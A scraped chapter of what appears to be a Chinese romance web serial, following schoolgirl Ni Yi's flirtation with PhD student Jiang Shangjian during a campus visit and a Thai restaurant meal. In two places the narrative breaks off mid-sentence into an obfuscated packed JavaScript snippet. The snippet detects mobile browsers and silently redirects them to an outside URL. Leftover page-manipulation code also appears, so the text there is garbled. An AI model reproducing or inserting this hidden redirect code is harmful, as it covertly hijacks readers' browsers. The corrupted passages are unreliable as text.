甄凝双手灵活,低头把凉薯剥的干干净净,白白嫩嫩。 倪旖一口咬下去多汁又香甜爽脆,和荸荠一样的口感,眼睑低垂,浓密卷曲的睫毛轻颤,桃花眼上扬。 “这有的是还没熟的花生的味道,难吃死,有些好吃,像荸荠。”甄凝喂她几口将剩下的吃完,味道还不错。 “甄凝,你放弃硫化氢吧,你太累了。”倪旖攥她衣袖镶边,眼底心疼。 “我想再坚持几天。”甄凝脸色一下就暗淡,连声音也很低落。 倪旖听闻食堂走廊上回荡着学生的笑声以及打闹声,还附着着浅浅雨点敲打窗声。 甄凝一顿,扯过她肩膀,见她两眼通红的样子,神色顿了下,继而帮她擦去眼泪:“替我难过?” “嗯。”倪旖声音小得可怜,微微哽咽,“你太……累了。” 话落,甄凝眼神微滞,心就像窗外被雨肆意摆荡的树枝,在这一刻似乎安安稳稳地落在地面上。 “那我尝试喜欢别的男孩。”甄凝微微酸涩鼻尖,从刚才起就异常困难的呼吸终于得以释放,稍微叹一小口气后,隐藏巨大悲怆。 “我们的灿烂,属于我们的。”倪旖揉揉她耳朵表示安慰。 倪旖踮起脚尖,手没从她脑袋上撤下去,有一下没一下地轻轻抚摸着。 甄凝感觉自己的心脏在不停地跳动,越来越猛烈。 她忽然发现,好像不管什么时候,倪旖脸上都是笑容。 和装出来的不一样,那是一种与生自来的笑容,好像那一抹笑就专属于她这个人似的。 “嗯,要灿烂。”甄凝目光安静地落在她手心上,垂着头,碎刘海堪堪遮着眉眼。 “咱吃啥?”倪旖就怕选择品类,晃晃脑袋。 恰好一阵风吹过,一片泛黄枯皮叶子飘飘摇摇掉下来,倪旖伸手接住,眼底透着一股不与年纪相符的成熟。 “黄焖鸡米饭,你去买两盒冰柠檬茶。”甄凝抬眸望着远处霓虹招牌。 “好的,先去了。”倪旖转到拐角小卖部踮脚尖攥两盒冰镇柠檬茶,中午人也多起来。 有人迎面跑来,把倪旖撞个趔趄,便赶紧避开,沿着临食堂小窗口屋檐下走,彩霓虹灯叭嗒叭嗒地落水滴来,打在头顶。 倪旖赶紧钻进二楼黄焖鸡米饭去,时不时揩干鬓角汗滴,去老地方等着,靠墙处青葱爬山虎缠进来。 八月暴雨过后闷得透不过气来,像是有无形的手扼着人的喉咙。隐隐地,听得见一阵一阵沉而远的雷声。 倪旖偷偷耍手机,那黄焖鸡招牌花里胡哨,占满整面墙的屏幕如马赛克镶嵌画一般,发出神秘的深红色光芒。 她不太爱吃黄焖鸡,总觉得里头香菇入味得不符合渗透学原理,太入味,像厨余垃圾泡在泔水桶里面好几天,然后洗洗干净回收刷新再使用。 敲键盘的手抬起又放下,倪旖挣扎数次,放弃,坐桌前祈祷蒋商鉴没看见来回几次纠结成一团的“对方正在输入中”。 倪旖盯着聊天界面,开始发呆,思索事情怎么演变成了现在这鬼样子。 事情发生在跟蒋商鉴分别那天,倪旖跟他闹掰,也没好意思结伴游玩,深夜刷小红书的时候偶然看到一个帖子: 【当我把头像换成了文件传输助手……】 倪旖就手残点进去,是一个视频,网友把微信头像改成了文件传输助手的绿色头像,没几分钟就被腾讯识别,然后揪出被和谐成了微信原始头像。 有些变灰以便区别,原因是公司担心用户信息泄露。 倪旖就一身反骨,把昵称改成“文献传输助手”。 倪旖反复刷新好多遍,等了好几分钟也没看到头像变化,最关键是,卡bug直接换不回来,一直都是绿油油头像。 倪旖没多心,无所谓,一般人都备注,傻子大潮鲅才当真,没留意微信,直到中午—— 蒋商鉴-岽大西海岸-有点贱:基于灰色多元变权组合预测模型对岽省海水养殖产量预测。 蒋商鉴-岽大西海岸-有点贱:周四中午12点前给死老头修改。 倪旖人都傻了,难道?卧槽。 倪旖盯着手机页面,皱眉纠结到爆炸,胡乱抓了两下头发:“愣子。” 绿油油的微信官方头像,居然还在卡bug,没被和谐成灰色小人。 这个大潮鲅不但把她误认成了文件传输助手,还传了文件过来。 倪旖尴尬得顿时脚趾扣地,正要解释,对方有发来记录视频。 貌似挺有趣,倪旖就好奇点进去。 “现在是凌晨两点半,瞅见这个傻逼长短期记忆LSTM神经网络预测模型。” 蒋商鉴对镜头凄惨一下笑。 “一高校博士研究生蒋某,苦写期刊论文两周,留下《学疯日记》一本,内容如下。” “8月5日,凌晨1点,写第2章实证分析不小心把水杯碰翻,我立刻暴跳如雷,把水杯痛骂一顿,室友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“8月20日打牌。倒计时2天。” …… 蒋商鉴对着镜头深刻反思,扶着额头愧疚道:“8月21日,本来视频督促学习,结果每天都被拉去打牌,烟雾弹似的,推牌九四人单单我论文最少,他娘的一个个趁我睡觉卷,蒋商鉴啊蒋商鉴啊,你怎能如此堕落?倒计时1天。” “老弟儿,麻将,试试。”妃子隔着宿舍墙壁大喊。 试试就逝世。 蒋商鉴咬牙满脸嫌弃,随后铿锵有力道:“来了!” 倪旖单薄内衬衫外一件百褶短裙,长发打松,神情懒淡,等视频结束好一会儿都没反应过来,随后笑弯腰。 远看一条狗,近看蒋商鉴。 倪旖觉得他所谓实验室研究跟撂狗肚子里似的,搞笑逗比,着实有点贱。 不过生日快乐是什么? 倒计时又是什么? “笑什么?”甄凝唇角勾起,眼尾跟着往上挑,那种浮在脸上的笑不达眼底,确实可见疲倦。 倪旖猛地按下锁屏,刹那间,脑海里浮现出很多画面,这么多天的情绪在这一刻爆发。 倪旖一动不动靠椅背,下巴微微上翘,似乎是在托着什么摇摇欲坠东西,并竭力让其保持平衡似的。 即便用余光瞥见甄凝,也没任何表示。 这未免让甄凝诚惶诚恐。 随后,倪旖将脸埋在臂弯,肩膀笑得微微颤抖。 周围轻细的声音传入甄凝耳边,瞅她笑得接不来气,挑眉轻笑了声,没有再继续看,攥着筷子夹菜吃。 倪旖笑得脑袋痛,身子有点沉,像是混合夏季海滩特有的燥热潮湿空气,让人的一整颗心变得紧绷又晦涩。 倪旖咬着舌尖跑到露台,双手搭在微微生锈的铁栏杆上,迎面而来的夏天潮湿微咸的海风吹乱她额前的碎发。 倪旖抬手碰下眼,发现那处一片湿润,眼泪不知道是什么时候流下来的。 尽头处路灯出毛病,一闪一闪,像是下一刻就要熄灭,微凉风夹杂细碎的雨,接连不断地灌进颈窝里。 倪旖迈着轻快步伐走了过去,微微俯身,两条手臂环住他,薄唇就贴在甄凝耳旁,声音里透着一股热度。 “男人嘛,”倪旖轻声安慰,“再找也可以的。” 甄凝确实低落,只是寡淡笑笑。 倪旖也不好再说什么。 手机振动一下。 倪旖垂眸点开消息栏。 妈妈:地表最强2巡回演唱会两张,我跟你爸突然没空,你去吧。 倪旖一愣,跳动血脉躁动起来,皮肤跟煮沸的开水一样一鼓一鼓,光速回复:你们俩居然想背着我和箴箴偷偷看演唱会? 妈妈:这么你爸要参加颐大国发院的朗润园短期培训班,预备考取颐大EMBA学位,没空玩儿,这才便宜你。 “……”倪旖语塞,随后窒息。 倪箴此时也发消息,特兴奋。 箴:姐,咱8月23去演唱会呦,还是渠道票,内场前排A1区,还能跟明星互动哎。 倪旖一脸不屑,淡淡发送语音,飘然道:“你好好学习,姐替你看。” “……”倪箴狂怒,“别私吞,就算拼了命我也要守护我的票。” 倪旖脑筋一转,没再回复消息,退出聊天界面,点小号转蒋商鉴那页面。 倪旖:师哥,我能跟你一起去演唱会吗?我不知道如何检票。 8月23日蓝色票纸是看台票,紫色票纸为内场票,不用强制实名,仅凭票入场,这就操作空间很大。 指不定……倪旖笑笑。 蒋商鉴:? 蒋商鉴:演唱会还招童工? 倪旖一愣,真佩服他脑子。 她明明身份证上成年了,八月五号呢。 不过她一般过圣诞节时一起开生日趴,会很热闹的。 蒋商鉴:行,明天国信体育场下午五点等你,乘地铁M2号线同安路下车。 “饭凉了。”甄凝就看她傻笑,用手揪住她衣袖晃晃。 倪旖:我爸妈都喜欢那歌手,那个年代的都喜欢。 蒋商鉴:。 那个年代?是什么年代? 倪旖笑得可傻,她还挺期待再见蒋商鉴一面,跟他玩得很开心。 倪旖低头跟没碰过电子产品的小老头似的敲字,乐得合不拢嘴。 倪旖:师哥,你在干嘛呢? 蒋商鉴:在你学校布置宣传棚。 蒋商鉴跟随岽大学生代表回到倪旖母校岽安省中学东校,举办了一场关于大学特色和优势的宣讲活动。 蒋商鉴研究生期间参加助教和招生办工作凑学分,为同学们准备精美宣传册,还准小礼品,如徽章等。此外还建立交流群,并将群号在黑板上用彩色荧光笔写下。 傍晚晚自习前正式开始活动。 现在舆论厉害,还有记者采访,倪旖这个小傻子跟没事人似的溜达。 倪旖一愣,随后敲字。 倪旖:吃午饭了吗? 蒋商鉴:还没呢。 倪旖没回消息,胡乱吃完黄焖鸡就抬眸道:“我去体育馆一趟。” 19. 杀猪 甄凝还没来得及反应,一抬眸,连影儿都寻不着。 倪旖奔去学校CBD水果店,简单买些水果切盒和两罐冰镇可乐,就飞奔去体育馆。 “唉,去哪呢?”甄凝瞅着她那慌里慌张模样,好奇也跟上去。 周围人群都是在CBD吃完慢悠悠去宿舍午休,只有倪旖急匆匆地走着,急匆匆地不让自己闲下来,一堆晃动的脑袋形成一阵攒动的黑色,从视野中延展开来,瞬间裹卷住她。 倪旖没说话,就挣扎着离开人群。 拥挤,无聊,令人厌倦。 倪旖转眼环顾四周,游目四瞩,朝着黑色边界眺望,注意到那片黑色也随着视线转移而迅速膨胀,接着,在这片黑色的边缘——是他。 倪旖瞬间腼腆,扭捏作态。 “没素质。” 倪旖瞅见遗落的瘪易拉罐废弃物,暗骂了一句,仿佛见到他不能有一点瑕疵,又忍不住伸脚踢出,易拉罐装在柏油马路上叮呤哐啷,往前滚了十几米,好巧不巧,在玻璃门前停下。 “这么准?”倪旖吃惊,抬头一看,却差点笑出声来,这可不是普通的玻璃面,旁边锁着蒋商鉴。 “?” 而忽然滚来的易拉罐显然吸引蒋商鉴注意力,侧过脸,眸光严肃地投向了这位始作俑者。 四目相对。 一时间,周围都寂静。 倪旖踉跄几步,紧张到结巴:“原来你……你……在这里啊。” 还他妈的……在背雅思? 不是,这都博士了,还没考雅思托福?够虎的。 隔着玻璃门,能看见他的轮廓,鼻梁的线条折叠向下,勾勒出清晰的喉结形状。蒋商鉴浅笑时给人的感觉总是懒洋洋的,连背枯燥雅思的姿态都散漫。 “来体育馆打乒乓球啊?” 倪旖嘴角隐约笑容被这番话一点点地凝固在了嘴边,然而她的情商又迫使自己一点点地扯开结冰的嘴角,化成了一个逼真的假笑,她试着重复了一遍。 “乒乓球?” 倪旖和甄凝并肩,她是个戴着金属框眼镜女孩,下巴很尖,额上有青春痘,中规中矩长相一化妆也有点姿色,加上身材好蜜汁自信,总体挺棒。 甄快活憋笑,体育馆乒乓球教室外张贴的注意规则,规则上写明:球馆内禁止赤裸上身,而为了更加鲜明解释这句话,在规则旁边还贴上她跟游泳大佬丁越青的一张光膀子的照片。 就是倪旖跟大佬关系好,据说有婚约,某次傻乎乎也被骗过去一同拍照。 当时倪旖暑期回国,丁越青就在乒乓球馆摩拳擦掌,手把手教倪旖。 外貌上俩人很登对,丁越青甚至为了倪旖变成阳光撒娇男大在岽大生物灯塔,但…… 这事丁越青那一届人都晓得,因为丁某出名浪荡,平时身边就不缺妹子,当时有人不长眼随便开倪旖玩笑,丁越青直接上手将人揍成猪头,那人鼻青脸肿,牙齿都被揍掉几颗,还说有婚约什么的。 算是天降财富,那人直到现在还在校群嘚瑟,挨一顿揍就得到几十万赔偿,多爽 倪旖穿着衣服,旁边大佬裸上身。 这留了两年,迷惑行为大赏榜首。 数年来为毕业同学津津乐道。 蒋商鉴没说话。 倪旖缓解气氛:“师哥,这个送给你,我顺道散步来着。 “……负重散步?”蒋商鉴瞥见那塑料袋里各式各样的果盒,没动。 “……”倪旖吸口气,两手举着塑料袋微微发颤,重得拎不住,“嗯。” “谢谢。”蒋商鉴察觉她微颤手腕,抬手拎塑料袋。 “我去溜达一圈。”倪旖快速逃窜到场馆里,找个犄角旮旯椅子捧手机,假装有事。 “那帅哥在对我笑啊!”甄凝耳朵泛红,“桃花!我的桃花到了!” 倪旖捋了捋头发,试着解释:“有没有可能只是眼睛进沙?” “哪来的沙?”甄凝陷入花痴,“他一定在看我,老往这边瞟。” “……”倪旖无奈,“有没有一种可能呢——” 话还没说完,甄凝就瞪她一眼,温柔带着杀气:“没有可能。” “……”倪旖想,蒋商鉴头一转,肯定在看自己嘛。 “好靓的仔,眼神淡漠得像看狗!好喜欢!妹妹,我好爱,”甄快活转过头,“就他了。我的新目标。我追到他就会立马忘记硫化氢的。” “哈?”倪旖差点被呛到,手机往地板一摔,“有没有可能人家已经有对象了。” “啊?”甄快活难以置信,自欺欺人般摇摇头,鲸吞他慵懒身影,片刻之后发表结论,“他太精神了!” “精神?”倪旖不太理解。 “有对象身上有一种松懈。就是这么帅,女友不会让他花枝招展过市,很没安全感。”甄快活到底有暗恋经验,那表情明显就是海王登峰造极。 “啊?”倪旖迷迷糊糊。 “太他妈帅了!尤其和那群歪瓜裂枣对比,”甄快活用力点头,“他身上没坍塌感,他就是流通品。” 倪旖一愣,不经意间眼里杀气闪去,淡漠道:“其实是像他那么帅气还很温柔的男生真的特受欢迎,多少年轻小姑娘往上扑啊,但我不怕,因为我就是年轻小姑娘。” 下一秒,又被甄快活咋咋呼呼打断思虑,只见她晃着自己胳膊,一脸虔诚提出:“帮个忙呗,你认识他,我想要他微信!” “……”倪旖才不乐意,都已经暗示这是我的菜,你还得撂一撅子,下次走小巷子小心点,欠揍。 “你跟他什么关系?”甄凝很好奇,眼睛都没从帅哥身上转移。 “关系?”倪旖想事情,没注意,淡淡道,“……还未发生。” “……”甄凝隐约觉得有车轱辘滚过她脸,她吸到车尾气了,倪旖总是有一种神神叨叨劲儿,便火速转移话题道,“如果他是你男友,一口一个宝贝叫你,你什么感受?” “什么什么感受?享受呗。”倪旖心思都飘到蒋商鉴那边,连回话都敷衍。 甄凝夹带私货,闷闷不乐道:“要是你男友对你忽冷忽热什么感受?” “没事,我可以一次谈好几个,一个冷了直接切换下一个。”倪旖说得很熟练的,她就是爱帅哥,蒋商鉴这种超级帅的就很符合她审美。 倪旖被烦得慌,手指无意识地缩了缩,指尖掐进掌心,便跟搅屎棍似的不高不低隔空问道:“师哥,她想要你微信,可以给吗?” 但凡她说得没那么瓷实,就说这位同学对贵校很感兴趣,想了解招生资讯,蒋商鉴必给工作号,可倪旖连工作号都不愿意让他给,就阴暗。 她看到帅哥时候一般都挺爱和闺蜜分享,可这次她想藏起来。 甄凝脸色尴尬,偷偷剐一眼没眼力的傻妞,真不会讲话,读书读傻了。 蒋商鉴垂眸望着别扭的倪旖,笑得极其温柔,并且指示意味十足,垂眸故意说:“我不能给你电话号码,因为我有女朋友了。” “滚一边去,我没男朋友,给我联系方式吧。”妃子乐呵呵就过来,还玩笑。 “他是我室友,跟你提过的妃子,他们非说来看小天才” 何止室友妃子,连搓过一顿麻将的牌友也跟来了。 他们不是说想看小天才,说的是:见见弟妹。 蒋商鉴让他们到时候不要乱说话,可刚见面就发骚。 “怎么会有少年有很老成?”甄凝感慨着。 “……未老先衰就是这种。”倪旖真不懂她那夸张说法,眼睛微微睁着,诚实从睫毛下望着蒋商鉴肌理分明的脖颈和臂膀,仿佛能凭目光一遍遍描画。 “这都是你室友?”倪旖见那边都朝这里看,便攥着甄快活手小跑着过去,奇怪道,“怎么壮的这么壮,瘦的……” 那个胖乎乎的憨憨说道:“妹妹,你不能因为蒋商鉴又高又帅就看不起我们啊,还有啊,我算你不同门的师哥呢。” 蒋商鉴把他挡开,想终结尴尬话题,扯着其中一个人微信二维码图:“扫这个,进群就可以咨询的。” 甄快活不是很想要那瘦弱胳膊男的微信号,也不好推辞,就扫码。 呃呃呃…… 一扫码就是咨询大群。 蒋商鉴食指屈起,在倪旖额上轻敲一下,笑说:“干嘛呢?头这么铁?” 妃子推搡一下他,幽幽道:“夹夹夹夹夹,一加起来就发狠了忘情了没命了,哥几个认识你到现在就这一次夹起来嗓子都快冒烟了。” 蒋商鉴递个眼色,让他滚蛋,就瞎胡闹耽误时间。 倪旖下意识想要后退,脚无声地往后挪了一点儿,鞋跟碰到墙角,发出轻微的声响。 再往后就是冰冷墙壁,倪旖有点窘迫抬眼,心道,该死,貌似被发现搞坏事。 蒋商鉴发现她小动作,似笑非笑看着她,脸上写着六个字——我看你头多铁,懒洋洋笑了笑,神情散漫张扬。 倪旖抬眸那一瞬将他面貌、气息和垂眸掩饰眼底笑意,以及鼻梁挺直的角度,甚至他随意元气POLO衫衣领在侧颈翻开时细微的皱褶都烙印下来,永远刻在心里,就是依旧有种窘迫感。 “把妹呢?”妃子就故意开玩笑。 蒋商鉴愣愣别开脸,耳朵逐渐绯红。 妃子从未见过蒋商鉴露出如此窘迫表情,不由心情大好。 “妹妹,你吃过饭没?哥请你吃哦,不过,商商付钱。”妃子瞅着玲珑剔透的倪旖就欢喜,真漂亮的妹妹,跟自己商商宝贝真配。 “我,”倪旖肚子挺撑,但偷偷瞥一眼蒋商鉴,下了好大决定,视死如归,“没,谢谢学长。” 学长,亲疏有别得明显。 蒋商鉴笑得贼嘚瑟。 妃子幽幽道:“不知道的,还以为学校就你俩是师哥妹。” “我就商商一个师哥。”倪旖嘴巴甜得正是时候,亲昵撒娇,还给蒋商鉴递眼色,那叫一个拉丝蛊惑甜蜜蜜小眼神。 “为什么我就不能是?”妃子有点不爽。 “因为他长得帅啊,戴眼镜就更帅啦。”倪旖大大咧咧夸赞。 妃子自知之明倒是不错,还是憋口气道:“那你就等着亲眼见证大帅哥戴上他一千度的眼镜未来变成一只长着绿豆眼的鲶鱼吧!” 倪旖摇头晃脑攀上蒋商鉴胳膊肘猫似的蹭蹭:“才不是,师哥眼睛度数没那么高,左眼三百度,右眼二百度,均数二百五。” “你才二百五。”蒋商鉴故意往边上躲躲,鬼知道他现在多有面子,他小小的虚荣心满足得不能够再满足。 “你怎么知道如此清楚?”妃子就很迷惑,讲道理,才没认识多久,眼睛度数都摸清楚,这蒋商鉴个败家玩意儿啊,迟早被小娘们迷惑得连银行卡密码都心甘情愿说。 “我猜的。”倪旖就随口说,都忘记鼻梁上是蒋商鉴那烟丝灰眼镜。 甄凝都吃过饭,可也不乐意离开,就看帅哥吃饭也好,就是这帅哥貌似被倪旖下手为强,不过边上那个海星哥长得也不错,但是一看就浪荡,不守男德。 帅得就很人尽可……妻。 妃子哥壮壮的,还不错,很有安全感,就是粗鲁不符合偶像标准。 酸哥……额……略过。 妃子硬天花乱坠瞎说第一次见面,必须要他们付钱,七嘴八舌争先恐后付钱,还说他们几个专门为妹妹向辅导员请假出校。 隔壁俩寝室跟风请假,找的理由五花八门,出来吸吸新鲜空气以便减少坐牢感,差点被导师按在地上摩擦。 倪旖知道他们就参加活动挣学分。 骗鬼呢? 午后整个城市都透着倦怠慵懒感。 “酸哥是什么专业的?”倪旖见郁闷不发一言哥们,便主动搭话。 酸哥摩挲可乐不锈钢杯壁微凉雾珠微弱叹口气,没搭腔。 海星打哈哈:“土木工程专业有悠久历史文化传承,在过去被尊称徭役,过去都是自带干粮,现在竟然还给钱哎,土木人的待遇真的肉眼可见越来越好。” 蒋商鉴侧眸凑倪旖耳边,用微弱到只有两人听到的温柔声:“女朋友闹分手,这几天都不爱笑,来的早上还吵呢,工地黑奴不配拥有权益呢。” 倪旖生理性吞咽,耳廓微微发红。 泰国餐馆当地老板穿着特色东南亚风情沙滩短袖跟大家打招呼,其他人无论男女回应都是“萨瓦迪卡”。 蒋商鉴双手合十回了一个“萨瓦迪kra”。 倪旖一愣,撇头望着蒋商鉴,他似乎长舒一口气,小心翼翼地攥着瓶冰凉矿泉水解渴,分明凸起的喉结自上而下缓缓滑动,轻微水声蔓延开来。 这个是泰语里男性应该说的,女士才是ka这个音。可见他很有可能有提前做功课,想要去泰国旅游,要不就是平时就知识面广。 泰国大哥看到他的回应很明显脸上笑意更灿烂一些,倪旖觉得这瞬间很美好,看蒋商鉴的眼眸子也亮晶晶的。 “作为一个机械转码打工狗,我经常看看土木和机械老哥经历解解压,给自己打气,证明自己没有转错专业呢!”海星活跃气氛,也很庆幸是计算机系的。 “去你的。”酸哥被戳中痛处,一胳膊肘砸过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222321|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 海星忙躲闪,挺熟练的,给他个白眼就探头探脑正常跟倪旖说话:“那生物专业要养小鼠,解剖小鼠,你一个人漂亮小女孩不怕吗?” “……”蒋商鉴默然。 倪旖淡淡道:“不怕,我爸是杀猪匠,从小耳濡目染。” “……”蒋商鉴眉梢一挑。 海星揉揉脑壳开玩笑道:“那你家祖坟冒青烟,出个扛把子小天才。” 甄凝毫不留情反驳道:“杀猪匠女儿一柜子香奈儿。” “……”倪旖攥着衣角,忍着半天实在抵不过周围人探索眼神,淡定道,“我虚荣嘛……都是A货。” “高仿啊?”甄凝笑笑,陪她说瞎话,“那你家猪肉摊在哪菜市场摆着?” “孙二娘转世,收起刀读蓝皮书,做起生物细胞分子营生,从此不再滥杀无辜,悬壶济世,救死扶伤,弥补前世造的孽。”蒋商鉴幽幽道,知道倪旖德行,荒诞无稽,调皮得很。 倪旖家内背景其实是保密的,妃子也是那天搁校长室听一嘴,回宿舍撺掇蒋商鉴巴结软妹去借力打力解决变态青椒小老板。 妃子偷偷瞥一眼蒋商鉴,他在这脸果然是成功的,成功攀上学阀子弟,他这个学术社畜的破事总算有地方解决,找个保护伞庇佑着。 “师哥说得对。”倪旖点点头。 “你家猪肉卖野猪肉嘛。”许久不说话,才冒一个字的酸哥开口,“我老婆最近特馋家养野猪肉。” “嗯。”倪旖正准备点餐,便随意敷衍着,举着菜单给蒋商鉴看,“师哥想吃哪个套餐,最底下的还行,性价比很高的。” 蒋商鉴刚开口被打断就忘记劝解,微微低头指尖点着套餐价格:“泰餐很贵哎,连性价比高的也贵。” “都是空运的新鲜食材,多少贵点。”倪旖说罢就接过服务生递来开瓢的的椰子,低头浅浅嘬饮一小口,清冽甘甜润喉。 蒋商鉴垂眸就很柔情似水望着倪旖。 刹那间,计上心头,倪旖察觉他目光,故意作弄他,猛然皱眉,左右摇晃那颗毛茸茸棕色椰子壳,语气不悦道: “一点点都不甜呢,哼!” “是不是你刚吃了糖果?”蒋商鉴自然而然将她暴躁的胳膊肘隔着番石榴颜色吸管轻轻摁下去。 倪旖撅着嘴佯装恼火,将椰子水吸管戳他嘴唇上,认真道:“你喝,就是不甜嘛。” 倪旖刚用过的吸管突然被戳到嘴巴上,蒋商鉴整个脸颊都飙红,只是在她小狗狗般可爱湿漉漉的眼神促使下,无意识吸吮两口冰凉干咧的椰子水,敷衍似的用语言匆忙掩饰快跳出来的心脏。 “挺甜的。” 倪旖诡计得逞,别提多高兴,就假装不信邪般低头,想凑过去再吸两口。 如梦方醒般的蒋商鉴快速制止,将手上干净吸管同那根被俩人碰过的调换。 倪旖不打算放过他,凑他耳边浅笑着只用两人能听到的声勾搭他:“商商猜一猜是椰子水甜还是我的嘴巴甜?” 见多识广的甄凝看破不说破,只是笑笑,想,蒋商鉴这伪君子,迟早得束手就擒,倪旖这小妖精真会勾引。 “饭后运动助消化,还能增加5-羟色胺含量,一起来?”倪旖嘟囔着。 “一种利于神经细胞间冲动传导的有机物,也叫血清素,快乐激素。”蒋商鉴莫名就跟上她清奇脑回路,顺嘴就替小朋友解释,刚说出口,连自己也被吓一大跳。 倪旖一愣,眼眸子弯弯,继续补充道:“人体内色氨酸经色氨酸羟化酶TPH……” “……”甄快活挺无语,吃饭就吃饭,科普个屁,跟装逼似的,不对,就是纯纯装个逼玩儿。 “可乐、芬达、雪碧……五颜六色的,卧槽啊,这色素真吓死个人。”海星皱眉紧紧盯着那手作冰棍,像小作坊做的,惊呼着。 不知名菜品被服务员递来,蛋汁及配料倒入叶子编织成的船型容器中,用碳火烤熟。 倪旖好奇握着叉子品鉴:“有蟹肉和蘑菇味,吃起来热乎乎的。最外面还有一层调味粉,甜甜辣辣,外Q内软很有嚼劲。” “好吃嘛?”蒋商鉴扶额询问。 “挺好的呀,哝——”倪旖就很顺手喂他一块,微微一笑,等待他回应。 蒋商鉴嘴巴被塞东西,只是错愕。 其他人也察觉,偷偷观察。 妃子一副吾儿长大的满脸欣慰。 蒋商鉴逃避似的举杯小抿着唇,装作若无其事,只是整个人就跟熟透的小龙虾似的,眼珠子一颗不消停,不知道如何安放,刻意冷静:“嗯,是挺好的。” “来,我来一口。”妃子很会润滑便捉着餐具咀嚼着食物,“好吃唉~” 其他人见状也都尝试,纷纷拉长声线捉弄他俩似的起哄夸赞。 倪旖胳膊肘戳戳蒋商鉴,微微偏头小声问:“喂,师哥在发呆嘛?” 蒋商鉴恍如梦境初醒,愣愣点头。 七嘴八舌讨论着各种事情,妃子嗓门最大,边咀嚼边嚷着:“真的好想去普吉岛玩一趟,整天在电脑前熬命,想死,不对,是死神镰刀都架脖颈上,凉飕飕。” 倪旖边咀嚼边偷偷问:“师哥,你想不想去?” 甄凝不是滋味,微偏头,心道,你丫闭嘴,要是蒋商鉴说想,你难道跟‘哆啦A梦伴我同行’般给他圆梦?也不是没这个可能,钞能力很牛逼的! 蒋商鉴松口气般粲然一笑,开玩笑道:“谁不想出去玩呢?” “嗯嗯。”倪旖没再说什么。 倒是蒋商鉴些许意外。 吃晚饭争着抢着要结账,那架势跟打群架一般,还挺吓人。 最后,倪旖受不了他们的伪装热情,直接把他们都拦住:“行了!谢谢各位!这顿我来付钱!我请你们吃!” 这下他们不争了,倪旖甚至怀疑他们是故意的。 哪有蹭学妹钱吃饭的? 倪旖郁闷着呢,这个月零花钱就剩两毛,连雪糕都成了想屁吃。 等有空到处搜刮点。 倪旖摸出手机给姓丁的要点钱,那狗东西要不是有把柄在她手上,也不会每次都乖乖转账,还是秒回的。 “我付钱。”蒋商鉴说罢,将付款码对准收银,页面立马就跳转结账提示。 倪旖蹙眉跟前台小妹说:“原路返还,扫我的,我有优惠券,能少两百。” 蒋商鉴也没推脱,也没接受,就默默待在一边。 等结账完毕,倪旖自然而然就牵他手,左手握着手机还在包里摸来摸去,一皱眉,将手一抬,连自己都震惊。 钢丝球? 20. 萌芽 妃子都傻眼,开始担心蒋商鉴:“你这玩得挺花的,富婆快乐球?富贵与隐忍?” 倪旖瞪一眼,随口胡诌:“我只是觉得这个很奇异,就买来盘着玩。” “盘着玩?骗鬼呢!你盘的是钢丝球嘛?你盘的是商商吧?”妃子话一说半,就很捍卫蒋商鉴,生怕他吃大亏丧失生育能力,“有什么冲我来,我很会隐忍。” “要真来,你还没资格,不够帅。”倪旖嗤笑,随手将钢丝球抛给蒋商鉴。 蒋商鉴用力攥着那钢丝球,指尖攥得发粉,手背上鼓动青筋,像藤蔓,要是被倪旖蹂躏还不如自己索性找块豆腐撞死算了,随后轻轻扯倪旖衣袖,拉一边解释:“他们没别的意思,就嘴欠。” 倪旖存心吓唬他,忽然捧腹大笑,语气暧昧,眼神微朝下,露出点眼白,邪邪的,有点不怀好意:“那我就是想让商商玩富婆快乐球给我看呢?” 蒋商鉴语气中的森寒讥诮,令人牙根打颤:“你真想嘛?” 倪旖堂堂倪家大小姐,哪怕随便一招手就有无数帅哥排队等着入赘给她,还愁没男人给她玩变态的?日常是呼风唤雨称王称霸,惬意得很!这种不切实际的质询实在可笑。 蒋商鉴从上衣口袋掏出栗子榛子和其他硬壳果,满手掌递过来。 倪旖一瞬间就内疚,妈蛋,逗老实人玩可真没出息,抬手将小背包口袋大大张开嘴巴吃到他一手掌坚果,笑嘻嘻道:“如果我真想呢?” 就只是嘴硬,倪旖多少了解蒋商鉴这种草根,即使卑微,即使低下,却如永远百折不挠,永远生生不息!很有意思,对,很好玩。 蒋商鉴拉住她手掌往自己怀里靠,用不轻不重力气随意搓揉她手,很快皮肤就附上暧昧粉红色,极其不正常,像是吸了一氧化碳而中毒的死尸嘴里玫瑰齿颜色。 这胆子,不是一般的大…… 这脸皮,也不是一般的厚…… 光凭这点,想不服都不行。 蒋商鉴垂眸眼里空荡,不惧怕什么,也不期待什么。 “给看嘛?”倪旖就在雷点蹦迪。 “你真要胁迫我?”蒋商鉴知道她现在就打嘴炮,也陪她周旋,乐得有趣。 “怎么会呢?师哥要好好尊敬的,师妹怎么敢大逆不道?”倪旖随便说些好听的打算把这个话题周转开。 “大逆不道的事情你干得也不少。”蒋商鉴不用猜就知道她德行。 “干……了不少?”倪旖抛斜媚眼,这话题得他结束,可临末尾还得捉弄他,“觉得未来有你嘛?” “仁者见仁。”蒋商鉴拂了拂袖口,眉眼此刻一派清贵雍容,“蒋某只是恰巧和倪大小姐几面之缘,若没实质证据就不要胡言乱语,小心蒋某告你诽谤。” “真是蔚为壮观呐!商商这么有创意?”妃子见他俩掉队,回来找,就看到这副暧昧极致的拉手蹂躏场景,再等下去,这俩手都能生个孩子手凑个一家三口。 俩人松开手,倪旖上前跟妃子说话:“妃子哥,那个酸哥他怎么回事?是我哪里得罪他了嘛?” 妃子摆摆手叫苦不迭:“女友一直劈腿。” “一直?那还真挺惨。”倪旖咬着牙一副同情模样。 